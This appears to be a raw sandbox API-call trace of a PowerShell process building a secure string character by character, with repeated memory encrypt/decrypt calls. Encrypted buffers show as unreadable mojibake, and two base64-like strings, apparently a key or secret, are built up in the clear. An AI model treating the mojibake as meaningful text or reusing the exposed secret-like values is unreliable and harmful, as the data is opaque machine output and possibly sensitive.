(param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4RKOG휷") returned 0x28 [0256.835] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.835] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ芞㖌筌쟫㪅賆ꀇᕣ") returned 0x28 [0256.835] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ芞㖌筌쟫㪅賆ꀇᕣ") returned 0x28 [0256.835] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.836] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4RKOG7") returned 0x28 [0256.836] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.836] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴⊒) returned 0x28 [0256.836] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴⊒) returned 0x28 [0256.836] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴⊒) returned 0x28 [0256.837] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴⊒) returned 0x30 [0256.837] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.837] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4RKOG7U渑ಙ晙罺迏䟈徵") returned 0x30 [0256.837] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.837] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴㲒⸎嚢쭬(䳉䲽͎∭) returned 0x30 [0256.837] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴㲒⸎嚢쭬(䳉䲽͎∭) returned 0x30 [0256.837] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.838] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4RKOG7UKಙ晙罺迏䟈徵") returned 0x30 [0256.838] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.838] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴䎒쬍ᐜ䉳꾘岗刋⋜) returned 0x30 [0256.838] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴䎒쬍ᐜ䉳꾘岗刋⋜) returned 0x30 [0256.838] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.838] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4RKOG7UKM晙罺迏䟈徵") returned 0x30 [0256.838] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.838] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴ඒ呉뻛勪孶蠼\嗝啑") returned 0x30 [0256.838] SysStringLen (param_1="⧫毖瞋퓈ᑟ㶧사鉌볧䊆侱銥镧迨ѕࣇꡧዓ迚㪬侕⎆峳琬ҧ尹緀ᨌ靴嚄篰\關냴묹踴ඒ呉뻛勪孶蠼\嗝啑") returned 0x30 [0256.838] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.839] SysStringLen (param_1="Xo2Vn2Y4uIPdqaGcpUEfzz9xrJfoHjqEBW4RKOG7UKM=罺迏䟈徵") returned 0x30 [0256.839] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0256.839] EtwEventActivityIdControl () returned 0x0 [0256.839] EtwEventActivityIdControl () returned 0x0 [0256.839] EtwEventActivityIdControl () returned 0x0 [0256.840] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.841] EtwEventActivityIdControl () returned 0x0 [0256.841] EtwEventActivityIdControl () returned 0x0 [0256.841] EtwEventActivityIdControl () returned 0x0 [0256.842] SysStringLen (param_1="") returned 0x8 [0256.842] SysStringLen (param_1="N") returned 0x8 [0256.842] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.842] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.842] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0256.842] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.842] SysStringLen (param_1="ND") returned 0x8 [0256.843] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.843] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.843] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0256.843] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.843] SysStringLen (param_1="NDZ") returned 0x8 [0256.843] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.843] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.843] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0256.843] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.844] SysStringLen (param_1="NDZl") returned 0x8 [0256.844] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.844] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.844] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0256.844] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.844] SysStringLen (param_1="NDZlO") returned 0x8 [0256.844] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.844] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.844] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0256.844] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.844] SysStringLen (param_1="NDZlOD") returned 0x8 [0256.845] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.845] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.845] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0256.845] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.845] SysStringLen (param_1="NDZlODR") returned 0x8 [0256.845] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.845] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.845] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0256.845] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.845] SysStringLen (param_1="NDZlODRm") returned 0x8 [0256.846] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0256.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.846] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0256.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0256.847] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.847] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.847] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.847] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0256.847] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.847] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0256.847] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0256.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.848] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0256.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.848] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0256.848] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.848] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0256.848] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0256.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.849] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0256.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.849] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0256.849] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.849] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0256.849] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0256.850] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.850] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0256.850] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.850] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0256.850] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.850] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0256.850] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0256.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.851] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0256.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0256.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.852] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0256.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.852] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0256.852] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.852] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0256.852] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0256.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0256.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0256.853] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.853] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0256.853] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.853] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0256.854] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.854] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0256.854] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0256.854] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.854] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0256.854] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.854] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0256.855] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0256.855] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0256.855] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.855] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0256.855] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0256.855] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.856] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0256.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0256.857] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0256.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.857] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0256.857] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.857] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0256.857] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0256.858] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.858] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0256.858] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.858] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0256.858] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.858] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0256.858] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.859] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0256.859] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.859] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0256.859] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0256.860] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.860] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0256.860] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.860] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0256.861] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0256.861] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0256.861] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.861] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0256.861] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0256.861] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0256.862] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0256.863] SystemFunction041 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.863] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0256.863] SystemFunction040 (in: Memory=0x3afb84, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afb84) returned 0x0 [0256.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0256.863] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 